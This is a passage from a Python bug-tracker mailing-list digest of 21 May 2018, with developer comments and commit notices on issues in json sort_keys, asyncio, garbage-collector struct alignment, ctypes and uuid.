I use the option -- my use stems from sort_keys improving human readability of the JSON.) But outside of deprecating sort_keys wholesale, it is still a bug that sort_keys=True can cause an error on input that would otherwise be valid for json.dump[s]. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:13:57 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 08:13:57 +0000 Subject: [issue33263] Asyncio server enters an invalid state after a request with SO_LINGER In-Reply-To: <1523466828.6.0.682650639539.issue33263@psf.upfronthosting.co.za> Message-ID: <1526890437.53.0.682650639539.issue33263@psf.upfronthosting.co.za> Andrew Svetlov added the comment: New changeset a84d0b361a26c05c6fadc6640591ec3feee5bfb5 by Andrew Svetlov (Vlad Starostin) in branch 'master': bpo-33263: Fix FD leak in _SelectorSocketTransport (GH-6450) https://github.com/python/cpython/commit/a84d0b361a26c05c6fadc6640591ec3feee5bfb5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:14:00 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 21 May 2018 08:14:00 +0000 Subject: [issue33263] Asyncio server enters an invalid state after a request with SO_LINGER In-Reply-To: <1523466828.6.0.682650639539.issue33263@psf.upfronthosting.co.za> Message-ID: <1526890440.0.0.682650639539.issue33263@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6672 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:14:48 2018 From: report at bugs.python.org (Ronald Oussoren) Date: Mon, 21 May 2018 08:14:48 +0000 Subject: [issue33590] sched.enter priority has no impact on execution In-Reply-To: <1526881413.19.0.682650639539.issue33590@psf.upfronthosting.co.za> Message-ID: <1526890488.51.0.682650639539.issue33590@psf.upfronthosting.co.za> Ronald Oussoren added the comment: I don't think there's a bug here: sched.enter schedules an event some time after the current time. The two calls to sched.enter are not at the same time, hence the priority is not used because the events are scheduled at different times. ---------- nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:17:16 2018 From: report at bugs.python.org (Nick McElwaine) Date: Mon, 21 May 2018 08:17:16 +0000 Subject: [issue32463] problems with shutil.py and os.get_terminal_size In-Reply-To: <1526645137.8.0.682650639539.issue32463@psf.upfronthosting.co.za> Message-ID: Nick McElwaine added the comment: Thankyou for clearing that up! On 18 May 2018 at 13:05, Berker Peksag wrote: > > Berker Peksag added the comment: > > Thanks for the report. I agree with Eryk. os.get_terminal_size() is a > low-level function. shutil.get_terminal_size() should be used as documented > at https://docs.python.org/3/library/os.html#os.get_terminal_size > > shutil.get_terminal_size() is the high-level function which should > normally be used, os.get_terminal_size is the low-level > implementation. > > ---------- > nosy: +berker.peksag > resolution: -> not a bug > stage: -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:35:28 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 08:35:28 +0000 Subject: [issue33263] Asyncio server enters an invalid state after a request with SO_LINGER In-Reply-To: <1523466828.6.0.682650639539.issue33263@psf.upfronthosting.co.za> Message-ID: <1526891728.26.0.682650639539.issue33263@psf.upfronthosting.co.za> Andrew Svetlov added the comment: New changeset b8b800090ff0954117a26ffcb501307823f3d33a by Andrew Svetlov (Miss Islington (bot)) in branch '3.7': bpo-33263: Fix FD leak in _SelectorSocketTransport (GH-6450) (#7022) https://github.com/python/cpython/commit/b8b800090ff0954117a26ffcb501307823f3d33a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:55:26 2018 From: report at bugs.python.org (Dror Levin) Date: Mon, 21 May 2018 08:55:26 +0000 Subject: [issue30618] readlink for pathlib paths In-Reply-To: <1497052559.7.0.422106710991.issue30618@psf.upfronthosting.co.za> Message-ID: <1526892926.43.0.682650639539.issue30618@psf.upfronthosting.co.za> Change by Dror Levin : ---------- nosy: +spatz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:55:44 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 08:55:44 +0000 Subject: [issue33523] loop.run_until_complete re-entrancy to support more complicated codebases in transition to asyncio In-Reply-To: <1526401266.56.0.682650639539.issue33523@psf.upfronthosting.co.za> Message-ID: <1526892944.18.0.682650639539.issue33523@psf.upfronthosting.co.za> Andrew Svetlov added the comment: Sorry, no. The feature was requested many times but was constantly rejected. By this, you are adding a BLOCKING call to your async function. At least it leads to log warning about too long callback execution. Moreover, I suspect that `run_until_complete` reentrancy requirement breaks the existing third-party loop implementations, not all loops can be fixed easily. The last: calling blocking code from async code is the anti-pattern, asyncio explicitly discourages it. You should convert all your stack to async functions and add sync stubs when needed like def sync_call(arg): asyncio.get_event_loop().run_until_complete(async_call(arg)) Yuri, do you agree with me? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:58:09 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 08:58:09 +0000 Subject: [issue33037] Skip sending/receiving after SSL transport closing In-Reply-To: <1520629242.5.0.467229070634.issue33037@psf.upfronthosting.co.za> Message-ID: <1526893089.84.0.682650639539.issue33037@psf.upfronthosting.co.za> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 04:59:53 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 08:59:53 +0000 Subject: [issue23749] asyncio missing wrap_socket (starttls) In-Reply-To: <1427119199.61.0.485462184824.issue23749@psf.upfronthosting.co.za> Message-ID: <1526893193.67.0.682650639539.issue23749@psf.upfronthosting.co.za> Andrew Svetlov added the comment: Is the issue done? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:06:07 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 09:06:07 +0000 Subject: [issue33263] Asyncio server enters an invalid state after a request with SO_LINGER In-Reply-To: <1523466828.6.0.682650639539.issue33263@psf.upfronthosting.co.za> Message-ID: <1526893567.18.0.682650639539.issue33263@psf.upfronthosting.co.za> Change by Andrew Svetlov : ---------- pull_requests: +6673 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:29:32 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 09:29:32 +0000 Subject: [issue33546] asyncio.Condition should become awaitable in 3.9 In-Reply-To: <1526495147.79.0.682650639539.issue33546@psf.upfronthosting.co.za> Message-ID: <1526894972.81.0.682650639539.issue33546@psf.upfronthosting.co.za> Andrew Svetlov added the comment: No, condition variables don't work this way. The proper code looks like: async with cond: while not : await cond.wait() It cannot be collapsed to just `await cond`. ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:31:38 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 09:31:38 +0000 Subject: [issue33544] Asyncio Event.wait() is a hold over from before awaitable, and should be awaitable In-Reply-To: <1526489874.13.0.682650639539.issue33544@psf.upfronthosting.co.za> Message-ID: <1526895098.14.0.682650639539.issue33544@psf.upfronthosting.co.za> Change by Andrew Svetlov : ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:34:42 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 09:34:42 +0000 Subject: [issue33238] AssertionError on await of Future returned by asyncio.wrap_future In-Reply-To: <1523037765.71.0.682650639539.issue33238@psf.upfronthosting.co.za> Message-ID: <1526895282.41.0.682650639539.issue33238@psf.upfronthosting.co.za> Andrew Svetlov added the comment: Raising `InvalidStateError` sounds perfect. Would you make a pull request? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:35:14 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 09:35:14 +0000 Subject: [issue33238] AssertionError on await of Future returned by asyncio.wrap_future In-Reply-To: <1523037765.71.0.682650639539.issue33238@psf.upfronthosting.co.za> Message-ID: <1526895314.51.0.682650639539.issue33238@psf.upfronthosting.co.za> Change by Andrew Svetlov : ---------- versions: +Python 3.8 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:35:50 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 21 May 2018 09:35:50 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526895350.5.0.682650639539.issue33583@psf.upfronthosting.co.za> INADA Naoki added the comment: New changeset 1179f4b40f375af5c59cd4b6be9cc313fa0e1a37 by INADA Naoki in branch 'master': bpo-33583: Add note in PyObject_GC_Resize() doc (GH-7021) https://github.com/python/cpython/commit/1179f4b40f375af5c59cd4b6be9cc313fa0e1a37 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:36:50 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 21 May 2018 09:36:50 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526895410.9.0.682650639539.issue33583@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6674 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:37:52 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 21 May 2018 09:37:52 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526895472.13.0.682650639539.issue33583@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6675 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 05:38:50 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 21 May 2018 09:38:50 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526895530.87.0.682650639539.issue33583@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6676 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 06:04:59 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 21 May 2018 10:04:59 +0000 Subject: [issue33589] Remove dummy member in GCHead In-Reply-To: <1526862205.85.0.682650639539.issue33589@psf.upfronthosting.co.za> Message-ID: <1526897099.04.0.682650639539.issue33589@psf.upfronthosting.co.za> Antoine Pitrou added the comment: >From the linked changeset message: > unless anyone knows of a platform where ssize_t is 4 bytes? That's most 32-bit platforms, right? Basically, size_t and ssize_t are pointer-sized except on some rare architectures. > A more correct non-hacky alternative if any alignment issues are still found would be to use a compiler specific alignment declaration on the structure and determine which value to use at configure time. AFAIU, the problem is not alignment of the PyGC_Head structure (it's always sufficiently aligned for its pointer-sized members) but alignment of the user-defined object that follows it. The underlying issue IMO is we're trying to force a one-size-fits-all alignment for user-defined object structs that we know nothing about (but might contain something like a "long double" or, worse, some SIMD values). Perhaps PyTypeObject should grow a `tp_alignment` field. ---------- nosy: +gregory.p.smith, serhiy.storchaka, tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 06:09:54 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 10:09:54 +0000 Subject: [issue33263] Asyncio server enters an invalid state after a request with SO_LINGER In-Reply-To: <1523466828.6.0.682650639539.issue33263@psf.upfronthosting.co.za> Message-ID: <1526897394.81.0.682650639539.issue33263@psf.upfronthosting.co.za> Andrew Svetlov added the comment: New changeset 7208bfb64b74f31f9704be3f01f26861c9cf092b by Andrew Svetlov in branch '3.6': [3.6] bpo-33263: Fix FD leak in _SelectorSocketTransport (GH-6450) (#7025) https://github.com/python/cpython/commit/7208bfb64b74f31f9704be3f01f26861c9cf092b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 06:17:22 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 21 May 2018 10:17:22 +0000 Subject: [issue33589] Remove dummy member in GCHead In-Reply-To: <1526862205.85.0.682650639539.issue33589@psf.upfronthosting.co.za> Message-ID: <1526897842.73.0.682650639539.issue33589@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Short of adding a `tp_alignment`, though, I think we should not make things harder for the common cases. This means we should probably keep the "double" member to ensure that extension types that have a "double" field in their object struct have the right alignment by default. "long double" is much rarer and people who need it can workaround alignment issues by hand (for example by issuing memcpy() calls). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 06:24:08 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 10:24:08 +0000 Subject: [issue33263] Asyncio server enters an invalid state after a request with SO_LINGER In-Reply-To: <1523466828.6.0.682650639539.issue33263@psf.upfronthosting.co.za> Message-ID: <1526898248.7.0.682650639539.issue33263@psf.upfronthosting.co.za> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 06:52:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 21 May 2018 10:52:38 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526899958.42.0.682650639539.issue5945@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6677 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 06:54:48 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 21 May 2018 10:54:48 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526900088.2.0.682650639539.issue5945@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I propose an alternate PR 7029 which also adds other improvements to the documentation of mappings and sequences C API. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 06:55:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 21 May 2018 10:55:14 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526900114.73.0.682650639539.issue5945@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- priority: high -> normal versions: +Python 3.7, Python 3.8 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 06:56:08 2018 From: report at bugs.python.org (Robert) Date: Mon, 21 May 2018 10:56:08 +0000 Subject: [issue33591] ctypes does not support fspath protocol Message-ID: <1526900168.47.0.682650639539.issue33591@psf.upfronthosting.co.za> New submission from Robert : Passing a non-str path which fulfills the new fspath-protcol (like a Path() object) to CDLL (or WinDLL, PyDLL, ...) a exception is returned. ---------- components: ctypes messages: 317230 nosy: mrh1997 priority: normal severity: normal status: open title: ctypes does not support fspath protocol versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 08:20:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 21 May 2018 12:20:58 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526905257.99.0.682650639539.issue33542@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset e9e2fd75ccbc6e9a5221cf3525e39e9d042d843f by Serhiy Storchaka in branch '3.6': [3.6] bpo-33542: Ignore DUID in uuid.get_node on Windows. (GH-6922) (GH-7014) https://github.com/python/cpython/commit/e9e2fd75ccbc6e9a5221cf3525e39e9d042d843f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 08:43:15 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 21 May 2018 12:43:15 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526906595.17.0.682650639539.issue33542@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your contribution Zvi! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 09:03:16 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 21 May 2018 13:03:16 +0000 Subject: [issue33586] 2.7.15 missing release notes on download page In-Reply-To: <1526833708.19.0.682650639539.issue33586@psf.upfronthosting.co.za> Message-ID: <1526907796.66.0.682650639539.issue33586@psf.upfronthosting.co.za> Change by Ned Deily : ---------- assignee: docs at python -> nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:01:51 2018 From: report at bugs.python.org (Robert) Date: Mon, 21 May 2018 14:01:51 +0000 Subject: [issue33591] ctypes does not support fspath protocol In-Reply-To: <1526900168.47.0.682650639539.issue33591@psf.upfronthosting.co.za> Message-ID: <1526911311.17.0.682650639539.issue33591@psf.upfronthosting.co.za> Change by Robert : ---------- keywords: +patch pull_requests: +6678 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:05:19 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 21 May 2018 14:05:19 +0000 Subject: [issue33581] Document "optional components that are commonly included in Python distributions." In-Reply-To: <1526767207.27.0.682650639539.issue33581@psf.upfronthosting.co.za> Message-ID: <1526911519.23.0.682650639539.issue33581@psf.upfronthosting.co.za> R. David Murray added the comment: As I understand it, we don't control or know what that list is, it depends on each distribution's policies. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:10:30 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 21 May 2018 14:10:30 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526911830.56.0.682650639539.issue33583@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 3ccc31386da5f35f83756a265429831d650db731 by Miss Islington (bot) in branch '2.7': bpo-33583: Add note in PyObject_GC_Resize() doc (GH-7021) https://github.com/python/cpython/commit/3ccc31386da5f35f83756a265429831d650db731 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:20:11 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 21 May 2018 14:20:11 +0000 Subject: [issue33589] Remove dummy member in GCHead In-Reply-To: <1526862205.85.0.682650639539.issue33589@psf.upfronthosting.co.za> Message-ID: <1526912411.07.0.682650639539.issue33589@psf.upfronthosting.co.za> INADA Naoki added the comment: Make sense. Then, what about using anonymous struct to make GC code more readable? typedef union _gc_head { struct { union _gc_head *gc_next; union _gc_head *gc_prev; Py_ssize_t gc_refs; - } gc; + }; double dummy; /* force worst-case alignment */ } PyGC_Head; All code like g->gc.gc_next will be like g->gc_next. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:23:19 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 21 May 2018 14:23:19 +0000 Subject: [issue33589] Remove dummy member in GCHead In-Reply-To: <1526862205.85.0.682650639539.issue33589@psf.upfronthosting.co.za> Message-ID: <1526912599.81.0.682650639539.issue33589@psf.upfronthosting.co.za> Antoine Pitrou added the comment: I'm fine with an anonymous struct. Is it standard C these days? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:23:55 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 21 May 2018 14:23:55 +0000 Subject: [issue33589] Remove dummy member in GCHead In-Reply-To: <1526862205.85.0.682650639539.issue33589@psf.upfronthosting.co.za> Message-ID: <1526912635.84.0.682650639539.issue33589@psf.upfronthosting.co.za> INADA Naoki added the comment: Oh,,, while even gcc 4.0 supported it, it is language spec from C11, not C99. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:45:15 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 21 May 2018 14:45:15 +0000 Subject: [issue33589] Remove dummy member in GCHead In-Reply-To: <1526862205.85.0.682650639539.issue33589@psf.upfronthosting.co.za> Message-ID: <1526913915.81.0.682650639539.issue33589@psf.upfronthosting.co.za> INADA Naoki added the comment: I grepped quickly and I can't find existing usage of anonymous union/struct. ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:51:02 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 21 May 2018 14:51:02 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526914262.84.0.682650639539.issue33583@psf.upfronthosting.co.za> INADA Naoki added the comment: New changeset 2b4ed5da1d599190c3be0084ee235b0a8f0a75ea by INADA Naoki (Miss Islington (bot)) in branch '3.7': bpo-33583: Add note in PyObject_GC_Resize() doc (GH-7021) https://github.com/python/cpython/commit/2b4ed5da1d599190c3be0084ee235b0a8f0a75ea ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 10:52:37 2018 From: report at bugs.python.org (Christian Tanzer) Date: Mon, 21 May 2018 14:52:37 +0000 Subject: [issue25457] json dump fails for mixed-type keys when sort_keys is specified In-Reply-To: Your message of "Sun, 20 May 2018 16:49:06 +0000" <1526834946.19.0.682650639539.issue25457@psf.upfronthosting.co.za> Message-ID: Christian Tanzer added the comment: Aaron Hall wrote at Sun, 20 May 2018 16:49:06 +0000: > Now that dicts are sortable, does that make the sort_keys argument redundant? > > Should this bug be changed to "won't fix"? https://bugs.python.org/issue25457#msg317216 is as good an answer as I could give. Considering that I openend the bug more than 2.5 years ago, it doesn't really matter though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 11:26:37 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 21 May 2018 15:26:37 +0000 Subject: [issue25457] json dump fails for mixed-type keys when sort_keys is specified In-Reply-To: <1445500861.68.0.856599723102.issue25457@psf.upfronthosting.co.za> Message-ID: <1526916397.7.0.682650639539.issue25457@psf.upfronthosting.co.za> R. David Murray added the comment: I'm fairly certain (though not 100%, obviously :) that coercing first and then sorting would be accepted if someone wants to create a PR for this. ---------- nosy: +r.david.murray versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 11:48:27 2018 From: report at bugs.python.org (Robert) Date: Mon, 21 May 2018 15:48:27 +0000 Subject: [issue33591] ctypes does not support fspath protocol In-Reply-To: <1526900168.47.0.682650639539.issue33591@psf.upfronthosting.co.za> Message-ID: <1526917707.56.0.682650639539.issue33591@psf.upfronthosting.co.za> Change by Robert : ---------- versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 11:50:42 2018 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 21 May 2018 15:50:42 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526917842.19.0.682650639539.issue5945@psf.upfronthosting.co.za> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 13:25:09 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 21 May 2018 17:25:09 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1526923509.03.0.682650639539.issue33531@psf.upfronthosting.co.za> Andrew Svetlov added the comment: Fixed failed sendfile tests on Windows (at least I hope so). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 13:26:33 2018 From: report at bugs.python.org (Aaron Hall) Date: Mon, 21 May 2018 17:26:33 +0000 Subject: [issue25457] json dump fails for mixed-type keys when sort_keys is specified In-Reply-To: <1445500861.68.0.856599723102.issue25457@psf.upfronthosting.co.za> Message-ID: <1526923593.06.0.682650639539.issue25457@psf.upfronthosting.co.za> Aaron Hall added the comment: >From a design standpoint, I'm fairly certain the sort_keys argument was created due to Python's dicts being arbitrarily ordered. Coercing to strings before sorting is unsatisfactory because, e.g. numbers sort lexicographically instead of by numeric value when strings. >>> import json >>> json.dumps({i:i**2 for i in range(15)}, sort_keys=True) '{"0": 0, "1": 1, "2": 4, "3": 9, "4": 16, "5": 25, "6": 36, "7": 49, "8": 64, "9": 81, "10": 100, "11": 121, "12": 144, "13": 169, "14": 196}' >>> json.dumps({str(i):i**2 for i in range(15)}, sort_keys=True) '{"0": 0, "1": 1, "10": 100, "11": 121, "12": 144, "13": 169, "14": 196, "2": 4, "3": 9, "4": 16, "5": 25, "6": 36, "7": 49, "8": 64, "9": 81}' Changing the order of operations is just going to create more issues, IMHO. Now that users can sort their dicts prior to providing them to the function, e.g.: >>> json.dumps({str(i):i**2 for i in range(15)}) '{"0": 0, "1": 1, "2": 4, "3": 9, "4": 16, "5": 25, "6": 36, "7": 49, "8": 64, "9": 81, "10": 100, "11": 121, "12": 144, "13": 169, "14": 196}' we could deprecate the argument, or just keep it as-is for hysterical raisins. Regardless, I'd close this as "won't fix". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 13:28:44 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Mon, 21 May 2018 17:28:44 +0000 Subject: [issue33592] Document contextvars C API Message-ID: <1526923723.99.0.682650639539.issue33592@psf.upfronthosting.co.za> New submission from Elvis Pranskevichus : The C API for PEP 567 is currently missing. ---------- assignee: docs at python components: Documentation messages: 317244 nosy: Elvis.Pranskevichus, docs at python, yselivanov priority: normal severity: normal status: open title: Document contextvars C API type: enhancement versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 13:31:23 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Mon, 21 May 2018 17:31:23 +0000 Subject: [issue33592] Document contextvars C API In-Reply-To: <1526923723.99.0.682650639539.issue33592@psf.upfronthosting.co.za> Message-ID: <1526923883.81.0.682650639539.issue33592@psf.upfronthosting.co.za> Change by Elvis Pranskevichus : ---------- keywords: +patch pull_requests: +6679 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 13:47:08 2018 From: report at bugs.python.org (Diego Argueta) Date: Mon, 21 May 2018 17:47:08 +0000 Subject: [issue33361] readline() + seek() on io.EncodedFile breaks next readline() In-Reply-To: <1524704763.78.0.682650639539.issue33361@psf.upfronthosting.co.za> Message-ID: <1526924828.96.0.682650639539.issue33361@psf.upfronthosting.co.za> Diego Argueta added the comment: Update: Tested this on Python 3.5.4, 3.4.8, and 3.7.0b3 on OSX 10.13.4. They also exhibit the bug. Updating the ticket accordingly. ---------- versions: +Python 3.4, Python 3.5, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 14:21:42 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 21 May 2018 18:21:42 +0000 Subject: [issue25457] json dump fails for mixed-type keys when sort_keys is specified In-Reply-To: <1445500861.68.0.856599723102.issue25457@psf.upfronthosting.co.za> Message-ID: <1526926902.35.0.682650639539.issue25457@psf.upfronthosting.co.za> R. David Murray added the comment: json keys *are* strings, so the fact that we support other object types as keys and coerce them to strings is an "extra feature" of python, and is actually a somewhat questionable feature. The reproducible use case is solved by the fact that dicts are now ordered, with no extra work on the part of the programmer. Likewise, if you want custom sorting you can ensure your dict is ordered the way you want it to be, as you indicate. The remaining use case for sort_keys, then (and one for which it is *commonly* used) is sorting the keys lexicographically, and for that, sorting the coereced strings is correct per the json standard (in which all keys are required to be strings). Note that sort_keys will not be removed for backward compatibility reasons, so the only question is whether or not the increased functionality of coercing first is worth the trouble to implement. I'm actually only +0 on it, since I don't consider it good practice to json-ize dicts that have non-string keys. The reason I'm + is because it would increase backward compatibility with python2 (not the ordering of the output, we can't make that work, but in the fact that it would no longer raise an error in python3). We'll see if other core developers agree or disagree. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 14:34:42 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Mon, 21 May 2018 18:34:42 +0000 Subject: [issue33533] Provide an async-generator version of as_completed In-Reply-To: <1526453333.0.0.682650639539.issue33533@psf.upfronthosting.co.za> Message-ID: <1526927682.33.0.682650639539.issue33533@psf.upfronthosting.co.za> Hrvoje Nik?i? added the comment: Another option occurred to me: as_completed could return an object that implements both synchronous and asynchronous iteration protocol: class as_completed: def __init__(fs, *, loop=None, timeout=None): self.__fs = fs self.__loop = loop self.__timeout = timeout def __iter__(self): # current implementation here ... async def __aiter__(self): # new async implementation here ... def __next__(self): # defined for backward compatibility with code that expects # as_completed() to return an iterator rather than an iterable if self._iter is None: self._iter = iter(self) return next(self._iter) With that design there wouldn't need to be a new function under a different name; instead, as_completed could just be documented as an asynchronous iterable, with the old synchronous iteration supported for backward compatibility. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 15:04:38 2018 From: report at bugs.python.org (W deW) Date: Mon, 21 May 2018 